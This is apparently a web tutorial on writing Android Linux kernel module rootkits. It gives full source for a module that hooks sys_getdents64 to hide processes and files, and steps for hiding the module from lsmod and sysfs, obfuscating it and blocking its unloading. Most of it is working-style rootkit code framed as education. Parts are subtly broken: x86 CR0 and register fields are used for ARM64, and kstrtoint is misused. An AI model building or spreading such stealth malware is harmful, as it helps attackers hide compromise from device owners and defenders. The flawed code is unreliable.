Introduction: The Covert World of Android Rootkits
Android’s open-source nature, built upon the Linux kernel, provides a fertile ground for advanced system customizations and, consequently, sophisticated malware development. Rootkits, particularly those leveraging Linux Kernel Modules (LKMs), represent the pinnacle of stealth and persistence on an Android device. Unlike user-mode malware, LKMs operate in kernel space, granting them unparalleled privileges and the ability to manipulate system behavior at its core. This article delves into the expert-level techniques for developing Android rootkits using LKMs to effectively hide processes and files, making them invisible to standard system tools.
Understanding LKM-based rootkits requires a deep dive into kernel internals, system call hooking, and robust development practices. We will explore how to set up the necessary cross-compilation environment, identify crucial kernel structures, and implement stealth mechanisms to evade detection.
Setting Up Your Android LKM Development Environment
Before diving into kernel-level modifications, a proper development environment is crucial. This involves cross-compiling your LKM for the target Android device’s architecture (commonly ARM or AArch64) using the appropriate kernel source code.
Prerequisites:
- Android NDK (for toolchain:
arm-linux-androideabi-gccoraarch64-linux-android-gcc). - Kernel source code matching your target Android device’s kernel version and architecture. This is often available from the device manufacturer or AOSP.
- A Linux-based host machine for compilation.
Compilation Steps:
-
Obtain Kernel Source: Download and extract the kernel source code. Example for a common ARM architecture:
git clone https://android.googlesource.com/kernel/common.git cd common git checkout android-4.14-stable -
Configure Toolchain: Set environment variables pointing to your NDK toolchain.
export ARCH=arm64 # Or arm for 32-bit devices export SUBARCH=arm64 export PATH="$HOME/android-ndk-r21/toolchains/llvm/prebuilt/linux-x86_64/bin:$PATH" export CROSS_COMPILE=aarch64-linux-android- # Or arm-linux-androideabi- -
Prepare Kernel Build: Copy the device’s kernel configuration and build it once to generate necessary headers.
make clean make your_device_defconfig # e.g., 'make goldfish_defconfig' make -j$(nproc) -
LKM Makefile: Create a Makefile for your LKM, linking against the kernel build directory:
obj-m := rootkit.o KDIR := /path/to/your/android/kernel/source PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean
Kernel System Call Hooking: The Foundation of Stealth
The core technique for hiding processes and files involves hooking kernel system calls. Specifically, we target system calls that enumerate directory entries, such as sys_getdents64 (or sys_getdents on 32-bit systems). By intercepting these calls, we can filter out entries corresponding to our hidden processes or files before they are returned to user-space applications.
Locating the System Call Table
To hook a system call, we need to modify its entry in the sys_call_table. This table holds pointers to all kernel system call functions. Its address can vary due to Kernel Address Space Layout Randomization (KASLR). Common methods to find it include:
-
Using
kallsyms_lookup_name: On kernels where it’s exported (often not on production Android devices for security reasons).#include unsigned long *sys_call_table; sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); -
Manual Scanning: Iterating through kernel memory to find a sequence of known system call addresses (e.g.,
sys_close,sys_read,sys_write). This is more complex and device-specific.
Once found, the sys_call_table‘s memory page needs to be made writable before modification. This involves changing the Page Table Entry (PTE) attributes, usually by clearing the write-protect bit (CR0 register on x86, or modifying PTEs directly on ARM).
Technique 1: Hiding Processes via sys_getdents64 Hooking
User-space tools like ps, top, and ls /proc enumerate processes by reading directory entries in /proc. The sys_getdents64 system call is responsible for filling a buffer with these entries. By hooking this call, we can filter out specific process IDs (PIDs).
struct linux_dirent64 Explained:
struct linux_dirent64 {
u64 d_ino; /* 64-bit inode number */
u64 d_off; /* 64-bit offset to next entry */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */
};
Implementation Strategy:
Our custom new_getdents64 function will call the original sys_getdents64 to get the directory entries. Then, it will iterate through these entries, removing any that match our target PIDs (or process names). The remaining entries are then shifted to fill the gaps, effectively making the hidden processes disappear.
// In rootkit.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include // For current_cred()
#include // For linux_dirent64
// Address of the sys_call_table (found via kallsyms or manual scan)
unsigned long *sys_call_table;
// Original syscall pointers
asmlinkage long (*orig_getdents64)(const struct pt_regs *);
// PID to hide
static int hidden_pid = 1234; // Change this to your target PID
// Helper to modify CR0 register to enable/disable write protection
void disable_wp(void) {
write_cr0(read_cr0() & (~0x10000));
}
void enable_wp(void) {
write_cr0(read_cr0() | 0x10000);
}
// Our custom sys_getdents64
asmlinkage long new_getdents64(const struct pt_regs *regs) {
long ret;
struct linux_dirent64 *dirent = (struct linux_dirent64 *)regs->si; // On ARM64, arg2 is in X1/si
struct linux_dirent64 *current_dirent;
unsigned long offset = 0;
int new_bytes = 0;
// Call original sys_getdents64
ret = orig_getdents64(regs);
if (ret <= 0) {
return ret;
}
// Iterate through dirents to filter
while (offset < ret) {
current_dirent = (struct linux_dirent64 *)((char *)dirent + offset);
// Check if the entry is a process directory for our hidden PID
// For /proc/, d_name will be the PID as a string
if (kstrtoint(current_dirent->d_name, 10, NULL) == hidden_pid) {
// Matched hidden PID, skip this entry
printk(KERN_INFO "Rootkit: Hiding process %sn", current_dirent->d_name);
memmove(current_dirent, (char *)current_dirent + current_dirent->d_reclen, ret - (offset + current_dirent->d_reclen));
ret -= current_dirent->d_reclen;
continue; // Don't advance offset, re-check current position
}
offset += current_dirent->d_reclen;
}
return ret;
}
static int __init rootkit_init(void) {
printk(KERN_INFO "Rootkit: Module loaded.n");
// Find sys_call_table. In real-world, more robust methods are needed.
// For demonstration, assume sys_call_table is found at a known address or via kallsyms.
// Example for a specific kernel version/architecture (highly device-dependent!):
sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
if (!sys_call_table) {
printk(KERN_ERR "Rootkit: sys_call_table not found!n");
return -1;
}
// Save original sys_getdents64
orig_getdents64 = (void *)sys_call_table[__NR_getdents64];
// Disable write protection for sys_call_table modification
disable_wp();
// Hook sys_getdents64
sys_call_table[__NR_getdents64] = (unsigned long)new_getdents64;
// Enable write protection
enable_wp();
printk(KERN_INFO "Rootkit: sys_getdents64 hooked successfully.n");
return 0;
}
static void __exit rootkit_exit(void) {
// Revert hook
disable_wp();
sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
enable_wp();
printk(KERN_INFO "Rootkit: sys_getdents64 unhooked. Module unloaded.n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Android Rootkit - Hide Processes/Files");
Note on pt_regs and Arguments: The way system call arguments are passed to `new_getdents64` depends on the architecture and kernel version. For ARM64, arguments are typically in registers (x0-x7). The `const struct pt_regs *regs` is used to access these. `regs->di`, `regs->si`, `regs->dx` correspond to the first three arguments (`arg0`, `arg1`, `arg2`) on x86, but on ARM64, they would typically be `regs->regs[0]`, `regs->regs[1]`, etc. For `getdents64`, the buffer pointer (buf) is `regs->si` on x86 or regs->regs[1] (or similar depending on calling convention) on ARM64. The example above uses `regs->si` which is a common pattern for many Linux architectures. Always verify against your specific kernel’s `arch/arm64/include/asm/syscall.h` or similar.
Technique 2: Hiding Files (Extension of `sys_getdents64`)
The same `sys_getdents64` hooking technique can be extended to hide specific files. If your rootkit creates its own files (e.g., configuration, logs, or binaries), you can filter their names from directory listings. Instead of checking for PIDs as integers, you’d check `current_dirent->d_name` against a list of target filenames (strings).
Example Filter Logic for Files:
// Inside new_getdents64 loop
// Define files to hide
const char *hidden_files[] = {"my_stealth_tool", "config.dat", NULL};
for (int i = 0; hidden_files[i] != NULL; i++) {
if (strcmp(current_dirent->d_name, hidden_files[i]) == 0) {
printk(KERN_INFO "Rootkit: Hiding file %sn", current_dirent->d_name);
memmove(current_dirent, (char *)current_dirent + current_dirent->d_reclen, ret - (offset + current_dirent->d_reclen));
ret -= current_dirent->d_reclen;
continue; // Re-check current position
}
}
This method hides files from `ls`, `find`, and other tools that rely on directory enumeration. For direct file access (e.g., `open()` or `openat()`), you would need to hook `sys_open` or `sys_openat` and return an error (e.g., `-ENOENT`) if the file path matches a hidden file. This is significantly more complex due to path resolution intricacies and should be approached with extreme caution to avoid system instability.
Advanced Stealth Mechanisms
A rootkit isn’t stealthy if it’s easily detectable. Several techniques can further enhance its covertness:
-
Unlinking from Module List: Remove the LKM from the kernel’s list of loaded modules (`/proc/modules` and `lsmod` output). This can be done by manipulating `module_list` and `kobject` structures:
// Before module_exit or in a separate function list_del_init(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); kobject_put(&THIS_MODULE->mkobj.kobj); -
Removing `sysfs` Entries: Similarly, remove entries from `/sys/module/`. The above `kobject_del` and `kobject_put` calls help with this. Manual removal of module-specific `sysfs` directories might also be necessary.
-
Obfuscation: Obfuscate strings, function names, and logic within the LKM to make reverse engineering harder. Use dynamic string decryption or indirect function calls.
-
Self-Protection: Implement mechanisms to prevent accidental or intentional unloading (e.g., by hooking `sys_delete_module`).
-
Timing Attacks/Conditional Hiding: Hide processes/files only under certain conditions or for specific users to avoid detection by security tools.
Ethical Considerations
The techniques discussed in this article are powerful and can be misused. This content is provided purely for educational purposes to help security researchers, penetration testers, and system administrators understand how rootkits operate and how to defend against them. Developing and deploying rootkits on systems without explicit authorization is illegal and unethical. Always ensure you have proper consent and operate within legal and ethical boundaries.
Conclusion
Developing stealthy Android rootkits using Linux Kernel Modules is a testament to the flexibility and power of the Linux kernel. By mastering system call hooking and kernel internals, it’s possible to achieve deep system compromise and maintain covert presence. The methods detailed—from setting up the environment to implementing `sys_getdents64` hooks for process and file hiding—provide a foundational understanding. However, the cat-and-mouse game between rootkit developers and security researchers continues, with new detection and evasion techniques constantly emerging. A robust defense strategy requires a thorough understanding of these advanced offensive capabilities.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →